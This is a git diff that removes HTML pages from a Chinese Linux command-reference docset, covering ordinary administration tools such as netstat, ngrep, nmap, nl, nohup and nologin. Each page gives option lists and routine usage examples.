--x或--unix:此参数的效果和指定"-A unix"参数相同;
---ip或--inet:此参数的效果和指定"-A inet"参数相同。
-
-

实例

-

列出所有端口 (包括监听和未监听的)

-
netstat -a     #列出所有端口
-netstat -at    #列出所有tcp端口
-netstat -au    #列出所有udp端口                             
-
-

列出所有处于监听状态的 Sockets

-
netstat -l        #只显示监听端口
-netstat -lt       #只列出所有监听 tcp 端口
-netstat -lu       #只列出所有监听 udp 端口
-netstat -lx       #只列出所有监听 UNIX 端口
-
-

显示每个协议的统计信息

-
netstat -s   显示所有端口的统计信息
-netstat -st   显示TCP端口的统计信息
-netstat -su   显示UDP端口的统计信息
-
-​```shell
-
- **在netstat输出中显示 PID 和进程名称** 
-
-​```shell
-netstat -pt
-
-

netstat -p可以与其它开关一起使用,就可以添加“PID/进程名称”到netstat输出中,这样debugging的时候可以很方便的发现特定端口运行的程序。

-

在netstat输出中不显示主机,端口和用户名(host, port or user)

-

当你不想让主机,端口和用户名显示,使用netstat -n。将会使用数字代替那些名称。同样可以加速输出,因为不用进行比对查询。

-
netstat -an
-
-

如果只是不想让这三个名称中的一个被显示,使用以下命令:

-
netsat -a --numeric-ports
-netsat -a --numeric-hosts
-netsat -a --numeric-users
-
-

持续输出netstat信息

-
netstat -c   #每隔一秒输出网络信息
-
-

显示系统不支持的地址族(Address Families)

-
netstat --verbose
-
-

在输出的末尾,会有如下的信息:

-
netstat: no support for `AF IPX' on this system.
-netstat: no support for `AF AX25' on this system.
-netstat: no support for `AF X25' on this system.
-netstat: no support for `AF NETROM' on this system.
-
-

显示核心路由信息

-
netstat -r
-
-

使用netstat -rn显示数字格式,不查询主机名称。

-

找出程序运行的端口

-

并不是所有的进程都能找到,没有权限的会不显示,使用 root 权限查看所有的信息。

-
netstat -ap | grep ssh
-
-

找出运行在指定端口的进程:

-
netstat -an | grep ':80'
-
-

通过端口找进程ID

-
netstat -anp|grep 8081 | grep LISTEN|awk '{printf $7}'|cut -d/ -f1
-
-

显示网络接口列表

-
netstat -i
-
-

显示详细信息,像是ifconfig使用netstat -ie

-

IP和TCP分析

-

查看连接某服务端口最多的的IP地址:

-
netstat -ntu | grep :80 | awk '{print $5}' | cut -d: -f1 | awk '{++ip[$1]} END {for(i in ip) print ip[i],"\t",i}' | sort -nr
-
-

TCP各种状态列表:

-
netstat -nt | grep -e 127.0.0.1 -e 0.0.0.0 -e ::: -v | awk '/^tcp/ {++state[$NF]} END {for(i in state) print i,"\t",state[i]}'
-
-

查看phpcgi进程数,如果接近预设值,说明不够用,需要增加:

-
netstat -anpo | grep "php-cgi" | wc -l
-
-

扩展知识

-

网络连接状态详解

-

共有12中可能的状态,前面11种是按照TCP连接建立的三次握手和TCP连接断开的四次挥手过程来描述的:

-
    -
  1. -

    LISTEN:首先服务端需要打开一个socket进行监听,状态为 LISTEN,侦听来自远方TCP端口的连接请求 ;

    -
  2. -
  3. -

    SYN_SENT:客户端通过应用程序调用connect进行active open,于是客户端tcp发送一个SYN以请求建立一个连接,之后状态置为 SYN_SENT,在发送连接请求后等待匹配的连接请求;

    -
  4. -
  5. -

    SYN_RECV:服务端应发出ACK确认客户端的 SYN,同时自己向客户端发送一个SYN,之后状态置为,在收到和发送一个连接请求后等待对连接请求的确认;

    -
  6. -
  7. -

    ESTABLISHED:代表一个打开的连接,双方可以进行或已经在数据交互了, 代表一个打开的连接,数据可以传送给用户;

    -
  8. -
  9. -

    FIN_WAIT1:主动关闭(active close)端应用程序调用close,于是其TCP发出FIN请求主动关闭连接,之后进入FIN_WAIT1状态, 等待远程TCP的连接中断请求,或先前的连接中断请求的确认;

    -
  10. -
  11. -

    CLOSE_WAIT:被动关闭(passive close)端TCP接到FIN后,就发出ACK以回应FIN请求(它的接收也作为文件结束符传递给上层应用程序),并进入CLOSE_WAIT, 等待从本地用户发来的连接中断请求;

    -
  12. -
  13. -

    FIN_WAIT2:主动关闭端接到ACK后,就进入了 FIN-WAIT-2,从远程TCP等待连接中断请求;

    -
  14. -
  15. -

    LAST_ACK:被动关闭端一段时间后,接收到文件结束符的应用程 序将调用CLOSE关闭连接,这导致它的TCP也发送一个 FIN,等待对方的ACK.就进入了LAST-ACK,等待原来发向远程TCP的连接中断请求的确认;

    -
  16. -
  17. -

    TIME_WAIT:在主动关闭端接收到FIN后,TCP 就发送ACK包,并进入TIME-WAIT状态,等待足够的时间以确保远程TCP接收到连接中断请求的确认;

    -
  18. -
  19. -

    CLOSING: 比较少见,等待远程TCP对连接中断的确认;

    -
  20. -
  21. -

    CLOSED: 被动关闭端在接受到ACK包后,就进入了closed的状态,连接结束,没有任何连接状态;

    -
  22. -
  23. -

    UNKNOWN:未知的Socket状态;

    -
  24. -
-

常见标志位

-
    -
  • -

    SYN: (同步序列编号,Synchronize Sequence Numbers)该标志仅在三次握手建立TCP连接时有效。表示一个新的TCP连接请求。

    -
  • -
  • -

    ACK: (确认编号,Acknowledgement Number)是对TCP请求的确认标志,同时提示对端系统已经成功接收所有数据。

    -
  • -
  • -

    FIN: (结束标志,FINish)用来结束一个TCP回话.但对应端口仍处于开放状态,准备接收后续数据。

    -
  • -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/newusers.html b/linux-command.docset/Contents/Resources/Documents/c/newusers.html deleted file mode 100644 index 0429d66dd1..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/newusers.html +++ /dev/null @@ -1,100 +0,0 @@ - - - - - - - - - - - newusers 命令,Linux newusers 命令详解:用于批处理的方式一次创建多个命令 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

newusers

-

用于批处理的方式一次创建多个命令

-

补充说明

-

newusers命令 用于批处理的方式一次创建多个命令。

-

语法

-
newusers(参数)
-
-

参数

-

用户文件:指定包含用户信息的文本文件,文件的格式要与/etc/passwd相同。

-

实例

-

实用newusers命令批量添加用户:

-

用法很简单,newusers后面直接跟一个文件,文件格式和/etc/passwd的格式相同。

-
用户名1:x:UID:GID:用户说明:用户的家目录:所用SHELL
-
-

举例:

-
jingang0:x:520:520::/home/jingang0:/sbin/nologin
-jingang1:x:521:521::/home/jingang1:/sbin/nologin
-......
-
-

值得一提的是关于SHELL类型,查看主机上所有SHELL,可以通过chsh来查看:

-
[root@localhost beinan]# chsh --list
-/bin/sh
-/bin/bash
-/sbin/nologin
-/bin/ksh
-/bin/tcsh
-/bin/csh
-/bin/zsh
-
-

其中除了/sbin/nologin,其它类型的SHELL都能登录系统,nologin大多是虚拟用户用的SHELL,也就是说虽然他是系统用户,但他并无登录系统的权限;如果您想添加这类用户,就把他的SHELL设置成/sbin/nologin,比如上面的例子。

-

关于用户名、UID、GID及用户的家目录是怎么回事,您可以读相应的参考文档。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/nfsstat.html b/linux-command.docset/Contents/Resources/Documents/c/nfsstat.html deleted file mode 100644 index 0a1b86815e..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/nfsstat.html +++ /dev/null @@ -1,99 +0,0 @@ - - - - - - - - - - - nfsstat 命令,Linux nfsstat 命令详解:列出NFS客户端和服务器的工作状态 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

nfsstat

-

列出NFS客户端和服务器的工作状态

-

补充说明

-

nfsstat命令 用于列出NFS客户端和服务器的工作状态。

-

语法

-
nfsstat(选项)
-
-

选项

-
-s:仅列出NFS服务器端状态;
--c:仅列出NFS客户端状态;
--n:仅列出NFS状态,默认显示nfs客户端和服务器的状态;
--2:仅列出NFS版本2的状态;
--3:仅列出NFS版本3的状态;
--4:仅列出NFS版本4的状态;
--m:打印以加载的nfs文件系统状态;
--r:仅打印rpc状态。
-
-

实例

-

要显示关于客户机发送和拒绝的RPC和NFS调用数目的信息,输入:

-
nfsstat -c
-
-

要显示和打印与客户机NFS调用相关的信息,输入如下命令:

-
nfsstat -cn
-
-

要显示和打印客户机和服务器的与RPC调用相关的信息,输入如下命令:

-
nfsstat -r
-
-

要显示关于服务器接收和拒绝的RPC和NFS调用数目的信息,输入如下命令:

-
nfsstat –s
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ngrep.html b/linux-command.docset/Contents/Resources/Documents/c/ngrep.html deleted file mode 100644 index e669a44fc0..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ngrep.html +++ /dev/null @@ -1,165 +0,0 @@ - - - - - - - - - - - ngrep 命令,Linux ngrep 命令详解:方便的数据包匹配和显示工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ngrep

-

方便的数据包匹配和显示工具

-

补充说明

-

ngrep命令 是grep命令的网络版,他力求更多的grep特征,用于搜寻指定的数据包。正由于安装ngrep需用到libpcap库, 所以支持大量的操作系统和网络协议。能识别TCP、UDP和ICMP包,理解bpf的过滤机制。

-

安装

-

ngrep命令的下载地址:http://ngrep.sourceforge.net/,libpcap下载地址:http://www.tcpdump.org/。先用yum install libpcap完全安装libpcap,注意有时候用libpcap安装包安装的不完整会影响ngrep的使用。

-

如果yum无法安装就用以下步骤安装libpcap:

-
wget http://www.tcpdump.org/release/libpcap-1.3.0.tar.gz
-tar -zxf libpcap-1.3.0.tar.gz
-cd libpcap-1.3.0
-./configure
-make && make install
-
-

ngrep的安装就是 configure/make/make install 三部曲。

-

注:configure时是遇到 please wipe out all unused pcap installations,添加以下选项:

-
./configure --with-pcap-includes=/usr/local/include/pcap
-
-

在安装后输入ngrep来验证下安装是否成功。

-

语法

-
ngrep <-LhNXViwqpevxlDtTRM> <-IO pcap_dump> <-n num> <-d dev> <-A num>
-<-s snaplen> <-S limitlen> <-w normal|byline|single|none> <-c cols>
-<-P char> <-F file> <match expression> <bpf filter>
-
-

选项

-
-e # 显示空数据包
--i # 忽略大小写
--v # 反转匹配
--R # don't do privilege revocation logic
--x # 以16进制格式显示
--X # 以16进制格式匹配
--w # 整字匹配
--p # 不使用混杂模式
--l # make stdout line buffered
--D # replay pcap_dumps with their recorded time intervals
--t # 在每个匹配的包之前显示时间戳
--T # 显示上一个匹配的数据包之间的时间间隔
--M # 仅进行单行匹配
--I # 从文件中读取数据进行匹配
--O # 将匹配的数据保存到文件
--n # 仅捕获指定数目的数据包进行查看
--A # 匹配到数据包后dump随后的指定数目的数据包
--s # set the bpf caplen
--S # set the limitlen on matched packets
--W # 设置显示格式byline将解析包中的换行符
--c # 强制显示列的宽度
--P # set the non-printable display char to what is specified
--F # 使用文件中定义的bpf(Berkeley Packet Filter)
--N # 显示由IANA定义的子协议号
--d # 使用哪个网卡,可以用-L选项查询
--L # 查询网卡接口
-
-

实例

-

捕捉cloudian:18080端口的request和response,-W byline用来解析包中的换行符,否则包里的所有数据都是连续的,可读性差。-d lo是监听本地网卡:

-
ngrep -W byline -d lo port 18080
-
-

捕捉amazon:80端口的request和response。-d eth0是用来监听对外的网卡:

-
ngrep -W byline -d eth0 port 80
-
-

可以用-d any来捕捉所有的包:

-
ngrep '[a-zA-Z]' -t -W byline -d any tcp port 18080
-
-

捕获字符串.flv,比如要查看在Web Flash 视频中的.flv文件的下载地址:

-
ngrep -d3 -N -q \.flv
-interface: \Device\TNT_40_1_{670F6B50-0A13-4BAB-9D9E-994A833F5BA9} (10.132.0.0/2
-55.255.192.0)
-match: \.flv
-
-

打开一个视频页面:

-
T(6) 10.132.34.23:24860 -> 61.142.208.154:80 [AP]
-GET /f59.c31.56.com/flvdownload/12/19/ggyg7741@56.com_56flv_zhajm_119556973
-97.flv HTTP/1.1..accept: */*..Referer: http://www.56.com/flashApp/v_player_
-site.swf..x-flash-version: 9,0,45,0..UA-CPU: x86..Accept-Encoding: gzip, de
-flate..User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET
-CLR 2.0.50727; .NET CLR 3.0.04506.30)..host: f59.r.56.com..Connection: Keep
--Alive..Cookie: whistoryview=23423759-23635627-23423344-23171935-23058374-2
-3081156-23207350-22395727-; geoip=............; wl_all_s=y....
-
-

OK。地址已经找到了,就是http://f59.c31.56.com/flvdownload/12/19/ggyg7741@56.com_56flv_zhajm_11955697397.flv

-

加个-W byline参数后,将解析包中的换行符:

-
T(6) 2007/11/25 15:56:12.192619 10.132.34.23:26365 -> 59.151.21.101:80 [AP]
-GET /aa.flv HTTP/1.1.
-Accept: */*.
-Accept-Language: zh-cn.
-UA-CPU: x86.
-Accept-Encoding: gzip, deflate.
-User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.5072
-7; .NET CLR 3.0.04506.30).
-Host: www.google.cn.
-Connection: Keep-Alive.
-Cookie: PREF=id=a0b2932c336477e9:TB=4:NW=1:TM=1187877372:LM=1187956074:S=Y1Fzndp
-rT3vFo7ac; SID=DQAAAHcAAABJCEXeOVLHu2rIfb5BfKP3GG9PbhJDEkXsLTV8y0f_lvSd2Y46Q0FPt
-83CnEs9rxA1xBDM9mLR8-ckWeScyOQA8PyYnX5u5OjFvjfRbDg_FDZfwxhRzqS9KPZv26pjnsUxs0FDM
-1xpJ5AgDn38pXtlCdkksJ0-cbiIWoA61oHWMg; NID=7=AvJxn5B6YOLLxoYz4LLzhIbNsQUQiulRS6U
-JGxdBniQBmXm99y7L-NBNORN82N3unmZSGHFPfePVHnLK2MjYjglyXZhU9x7ETXNBnY3NurNijHDhJ7K
-yi7E53UBOcv4V.
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/nice.html b/linux-command.docset/Contents/Resources/Documents/c/nice.html deleted file mode 100644 index c3c0e8ce48..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/nice.html +++ /dev/null @@ -1,88 +0,0 @@ - - - - - - - - - - - nice 命令,Linux nice 命令详解:改变程序执行的优先权等级 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

nice

-

改变程序执行的优先权等级

-

补充说明

-

nice命令 用于以指定的进程调度优先级启动其他的程序。

-

语法

-
nice(选项)(参数)
-
-

选项

-
-n:指定进程的优先级(整数)。
-
-

参数

-

指令及选项:需要运行的指令及其他选项。

-

实例

-

新建一个进程并设置优先级,将当前目录下的documents目录打包,但不希望tar占用太多CPU:

-
nice -19 tar zcf pack.tar.gz documents
-
-

方法非常简单,即在原命令前加上nice -19。很多人可能有疑问了,最低优先级不是19么?那是因为这个“-19”中的“-”仅表示参数前缀;所以,如果希望将当前目录下的documents目录打包,并且赋予tar进程最高的优先级:

-
nice --19 tar zcf pack.tar.gz documents
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/nisdomainname.html b/linux-command.docset/Contents/Resources/Documents/c/nisdomainname.html deleted file mode 100644 index 92b8223edb..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/nisdomainname.html +++ /dev/null @@ -1,79 +0,0 @@ - - - - - - - - - - - nisdomainname 命令,Linux nisdomainname 命令详解:显示主机NIS的域名 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

nisdomainname

-

显示主机NIS的域名

-

补充说明

-

nisdomainname命令 用于显示主机NIS的域名。

-

语法

-
nisdomainname(选项)
-
-

选项

-
-v:详细信息模式。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/nl.html b/linux-command.docset/Contents/Resources/Documents/c/nl.html deleted file mode 100644 index e638ec133a..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/nl.html +++ /dev/null @@ -1,228 +0,0 @@ - - - - - - - - - - - nl 命令,Linux nl 命令详解:为每一个文件添加行号。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

nl

-

为每一个文件添加行号。

-

概要

-
nl [OPTION]... [FILE]...
-
-

主要用途

-
    -
  • 将每一个输入的文件添加行号后发送到标准输出。
  • -
  • 当没有文件或文件为-时,读取标准输入
  • -
  • 处理逻辑页(logical page)。
  • -
-

选项

-
-b, --body-numbering=STYLE           使用STYLE 为body部分的行附加行号。
--d, --section-delimiter=CC           使用CC作为logical page的分隔符。
--f, --footer-numbering=STYLE         使用STYLE 为footer部分的行附加行号。
--h, --header-numbering=STYLE         使用STYLE 为header部分的行附加行号。
--i, --line-increment=NUMBER          行号递增间隔为NUMBER。
--l, --join-blank-lines=NUMBER        连续NUMBER行的空行作为一行处理。
--n, --number-format=FORMAT           根据FORMAT插入行号。
--p, --no-renumber                    不要在每个部分重置行号。
--s, --number-separator=STRING        在行号后添加字符串STRING。
--v, --starting-line-number=NUMBER    每部分的起始行号。
--w, --number-width=NUMBER            行号宽度为NUMBER。
---help                               显示帮助信息并退出。
---version                            显示版本信息并退出。
-
-
-默认选项为:-bt -d'\:' -fn -hn -i1 -l1 -nrn -sTAB -v1 -w6
-
-CC是由两个字符组成的,默认为\: ,第二个字符如果缺失则默认为:
-
-STYLE可以为下列可用值之一:
-
-a       所有行标记行号。
-t       仅为非空行标记行号。
-n       不标记行号。
-pBRE    符合基础正则表达式(BRE)的行会标记行号。
-
-FORMAT可以为下列可用值之一:
-
-ln    左对齐,不会在开始部分补充0以满足宽度。
-rn    右对齐,不会在开始部分补充0以满足宽度。
-rz    右对齐,会在开始部分补充0以满足宽度。
-
-logical page
-三部分组成(header, body, footer)
-起始标记(header \:\:\:, body \:\:, footer \:)
-
-

参数

-

FILE(可选):要处理的文件,可以为一或多个。

-

返回值

-

返回0表示成功,返回非0值表示失败。

-

例子

-
nl_logicalpage.txt:该文件用于说明nl命令处理逻辑页,内容如下:
-\:\:\:
-header_1
-\:\:
-body_1
-\:
-footer_1
-\:\:\:
-header_2
-\:\:
-body_2
-\:
-footer_2
-
-
[user2@pc ~]$ nl nl_logicalpage.txt
-
-       header_1
-
-     1	body_1
-
-       footer_1
-
-       header_2
-
-     1	body_2
-
-       footer_2
-
-[user2@pc ~]$ nl -v0 -fa -ha nl_logicalpage.txt
-
-     0	header_1
-
-     1	body_1
-
-     2	footer_1
-
-     0	header_2
-
-     1	body_2
-
-     2	footer_2
-
-[user2@pc ~]$ nl -p -fa -ha nl_logicalpage.txt
-
-     1	header_1
-
-     2	body_1
-
-     3	footer_1
-
-     4	header_2
-
-     5	body_2
-
-     6	footer_2
-
-
nl_normal.txt:该文件用于说明nl命令处理普通文件,内容如下:
-ZhuangZhu-74
-2019-11-21
-127.0.0.1
-
-
[user2@pc ~]$ nl nl_normal.txt
-     1	ZhuangZhu-74
-     2	2019-11-21
-     3	127.0.0.1
-
-[user2@pc ~]$ nl -b p'1
-
- - - - - - -
nl_normal.txt - ZhuangZhu-74 - 1 2019-11-21 - 2 127.0.0.1 - -[user2@pc ~]$ nl -b p'^[A-Z]' nl_normal.txt - 1 ZhuangZhu-74 - 2019-11-21 - 127.0.0.1 - -

注意

-
    -
  1. 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 nlinfo coreutils 'nl invocation'
  2. -
- - - - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/nm.html b/linux-command.docset/Contents/Resources/Documents/c/nm.html deleted file mode 100644 index 56e6fdca59..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/nm.html +++ /dev/null @@ -1,84 +0,0 @@ - - - - - - - - - - - nm 命令,Linux nm 命令详解:显示二进制目标文件的符号表 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

nm

-

显示二进制目标文件的符号表

-

补充说明

-

nm命令 被用于显示二进制目标文件的符号表。

-

语法

-
nm(选项)(参数)
-
-

选项

-
-A:每个符号前显示文件名;
--D:显示动态符号;
--g:仅显示外部符号;
--r:反序显示符号表。
-
-

参数

-

目标文件:二进制目标文件,通常是库文件和可执行文件。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/nmap.html b/linux-command.docset/Contents/Resources/Documents/c/nmap.html deleted file mode 100644 index fab1b9938c..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/nmap.html +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - nmap 命令,Linux nmap 命令详解:网络探测和安全审核 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

nmap

-

网络探测和安全审核

-

补充说明

-

nmap命令 是一款开放源代码的网络探测和安全审核工具,它的设计目标是快速地扫描大型网络。

-

语法

-
nmap(选项)(参数)
-
-

选项

-
-O:激活操作探测;
--P0:值进行扫描,不ping主机;
--PT:是同TCP的ping;
--sV:探测服务版本信息;
--sP:ping扫描,仅发现目标主机是否存活;
--ps:发送同步(SYN)报文;
--PU:发送udp ping;
--PE:强制执行直接的ICMPping;
--PB:默认模式,可以使用ICMPping和TCPping;
--6:使用IPv6地址;
--v:得到更多选项信息;
--d:增加调试信息地输出;
--oN:以人们可阅读的格式输出;
--oX:以xml格式向指定文件输出信息;
--oM:以机器可阅读的格式输出;
--A:使用所有高级扫描选项;
---resume:继续上次执行完的扫描;
--P:指定要扫描的端口,可以是一个单独的端口,用逗号隔开多个端口,使用“-”表示端口范围;
--e:在多网络接口Linux系统中,指定扫描使用的网络接口;
--g:将指定的端口作为源端口进行扫描;
---ttl:指定发送的扫描报文的生存期;
---packet-trace:显示扫描过程中收发报文统计;
---scanflags:设置在扫描报文中的TCP标志。
---send-eth/--send-ip 使用原始以太网发送/构造指定IP发送
-
-

参数

-

ip地址:指定待扫描报文中的TCP地址。

-

实例

-

安装nmap

-
yum install nmap
-
-

使用nmap扫描www.jsdig.com的开放端口

-
[root@localhost ~]# nmap www.jsdig.com
-
-Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2013-12-28 00:06 CST
-Interesting ports on 100-42-212-8.static.webnx.com (100.42.212.8):
-Not shown: 1678 filtered ports
-PORT   STATE service
-22/tcp open  ssh
-80/tcp open  http
-
-Nmap finished: 1 IP address (1 host up) scanned in 45.870 seconds
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/nmcli.html b/linux-command.docset/Contents/Resources/Documents/c/nmcli.html deleted file mode 100644 index 573c8086de..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/nmcli.html +++ /dev/null @@ -1,110 +0,0 @@ - - - - - - - - - - - nmcli 命令,Linux nmcli 命令详解:地址配置工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

nmcli

-

地址配置工具

-

补充说明

-

nmcli命令 是 NetworkManager client 网络管理客户端。

-

语法

-
nmcli [OPTIONS] OBJECT { COMMAND | help }
-
-

选项

-
OPTIONS
-  -t[erse]                                  # terse output 简洁的输出
-  -p[retty]                                 # pretty output 漂亮的输出
-  -m[ode] tabular|multiline                 # output mode  输出模式
-  -f[ields] <field1,field2,...>|all|common  # specify fields to output 指定要输出的字段
-  -e[scape] yes|no                          # escape columns separators in values 在值中转义列分隔符
-  -n[ocheck]                                # 不要检查nmcli和NetworkManager版本
-  -a[sk]                                    # 要求缺少参数
-  -w[ait] <seconds>                         # 设置超时等待整理操作
-  -v[ersion]                                # 显示程序版本
-  -h[elp]                                   # 打印此帮助
-
-OBJECT
-  g[eneral]       NetworkManager的一般状态和操作
-  n[etworking]    整体组网控制
-  r[adio]         NetworkManager切换开关
-  c[onnection]    NetworkManager的连接
-  d[evice]        由NetworkManager管理的设备
-  a[gent]         NetworkManager秘密代理或polkit代理
-
-

实例

-
nmcli connection show           # 查看当前连接状态
-nmcli connection reload         # 重启服务
-nmcli connection show -active   # 显示活动的连接
-nmcli connection show "lan eth0"# 显示指定一个网络连接配置
-nmcli device status             # 显示设备状态
-nmcli device show eno16777736   # 显示指定接口属性
-nmcli device show               # 显示全部接口属性
-nmcli con up static             # 启用static连接配置
-nmcli con up default            # 启用default连接配置 
-nmcli con add help              # 查看帮助
-
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/nohup.html b/linux-command.docset/Contents/Resources/Documents/c/nohup.html deleted file mode 100644 index 45f062b173..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/nohup.html +++ /dev/null @@ -1,93 +0,0 @@ - - - - - - - - - - - nohup 命令,Linux nohup 命令详解:将程序以忽略挂起信号的方式运行起来 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

nohup

-

将程序以忽略挂起信号的方式运行起来

-

补充说明

-

nohup命令 可以将程序以忽略挂起信号的方式运行起来,被运行的程序的输出信息将不会显示到终端。

-

无论是否将 nohup 命令的输出重定向到终端,输出都将附加到当前目录的 nohup.out 文件中。如果当前目录的 nohup.out 文件不可写,输出重定向到$HOME/nohup.out文件中。如果没有文件能创建或打开以用于追加,那么 command 参数指定的命令不可调用。如果标准错误是一个终端,那么把指定的命令写给标准错误的所有输出作为标准输出重定向到相同的文件描述符。

-

语法

-

nohup(选项)(参数)

-

选项

-
--help:在线帮助;
---version:显示版本信息。
-
-

参数

-

程序及选项:要运行的程序及选项。

-

实例

-

使用nohup命令提交作业,如果使用nohup命令提交作业,那么在缺省情况下该作业的所有输出都被重定向到一个名为nohup.out的文件中,除非另外指定了输出文件:

-
nohup command > myout.file 2>&1 &
-
-

在上面的例子中,输出被重定向到myout.file文件中。

-

该指令表示不做挂断操作,后台下载

-
nohup wget site.com/file.zip
-
-

下面命令,会在同一个目录下生成一个名称为 nohup.out 的文件,其中包含了正在运行的程序的输出内容

-
nohup ping -c 10 baidu.com
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/nologin.html b/linux-command.docset/Contents/Resources/Documents/c/nologin.html deleted file mode 100644 index a97b87e53b..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/nologin.html +++ /dev/null @@ -1,97 +0,0 @@ - - - - - - - - - - - nologin 命令,Linux nologin 命令详解:拒绝用户登录系统 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

nologin

-

拒绝用户登录系统

-

补充说明

-

nologin命令 可以实现礼貌地拒绝用户登录系统,同时给出信息。如果尝试以这类用户登录,就在log里添加记录,然后在终端输出This account is currently not available信息,就是这样。一般设置这样的帐号是给启动服务的账号所用的,这只是让服务启动起来,但是不能登录系统。

-

语法

-
nologin
-
-

实例

-

Linux禁止用户登录:

-

禁止用户登录后,用户不能登录系统,但可以登录ftp、SAMBA等。我们在Linux下做系统维护的时候,希望个别用户或者所有用户不能登录系统,保证系统在维护期间正常运行。这个时候我们就要禁止用户登录。  

-

1、禁止个别用户登录,比如禁止lynn用户登录。

-
passwd -l lynn
-
-

这就话的意思是锁定lynn用户,这样该用户就不能登录了。  

-
passwd -u lynn
-
-

上面是对锁定的用户lynn进行解锁,用户可登录了。    

-

2、我们通过修改/etc/passwd文件中用户登录的shell

-
vi /etc/passwd
-
-

更改为:

-
lynn:x:500:500::/home/lynn:/sbin/nologin
-
-

该用户就无法登录了。  

-

3、禁止所有用户登录。

-
touch /etc/nologin
-
-

除root以外的用户不能登录了。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/nproc.html b/linux-command.docset/Contents/Resources/Documents/c/nproc.html deleted file mode 100644 index b38739844a..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/nproc.html +++ /dev/null @@ -1,92 +0,0 @@ - - - - - - - - - - - nproc 命令,Linux nproc 命令详解:打印可用的处理器单元数量。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

nproc

-

打印可用的处理器单元数量。

-

概要

-
nproc [OPTION]...
-
-

主要用途

-
    -
  • 打印可用的处理器单元数量。
  • -
-

选项

-
--all         打印已安装处理器的数量。
---ignore=N    如果可以的情况下,排除 N 个处理单元。
---help        显示帮助信息并退出。
---version     显示版本信息并退出。
-
-

例子

-
[root@localhost ~]# nproc
-8
-
-

注意

-
    -
  1. 该命令是GNU coreutils包中的命令,相关的帮助信息请查看man -s 1 nprocinfo coreutils 'nproc invocation'
  2. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/nslookup.html b/linux-command.docset/Contents/Resources/Documents/c/nslookup.html deleted file mode 100644 index c55bb263dd..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/nslookup.html +++ /dev/null @@ -1,93 +0,0 @@ - - - - - - - - - - - nslookup 命令,Linux nslookup 命令详解:查询域名DNS信息的工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

nslookup

-

查询域名DNS信息的工具

-

补充说明

-

nslookup命令 是常用域名查询工具,就是查DNS信息用的命令。

-

nslookup4有两种工作模式,即“交互模式”和“非交互模式”。在“交互模式”下,用户可以向域名服务器查询各类主机、域名的信息,或者输出域名中的主机列表。而在“非交互模式”下,用户可以针对一个主机或域名仅仅获取特定的名称或所需信息。

-

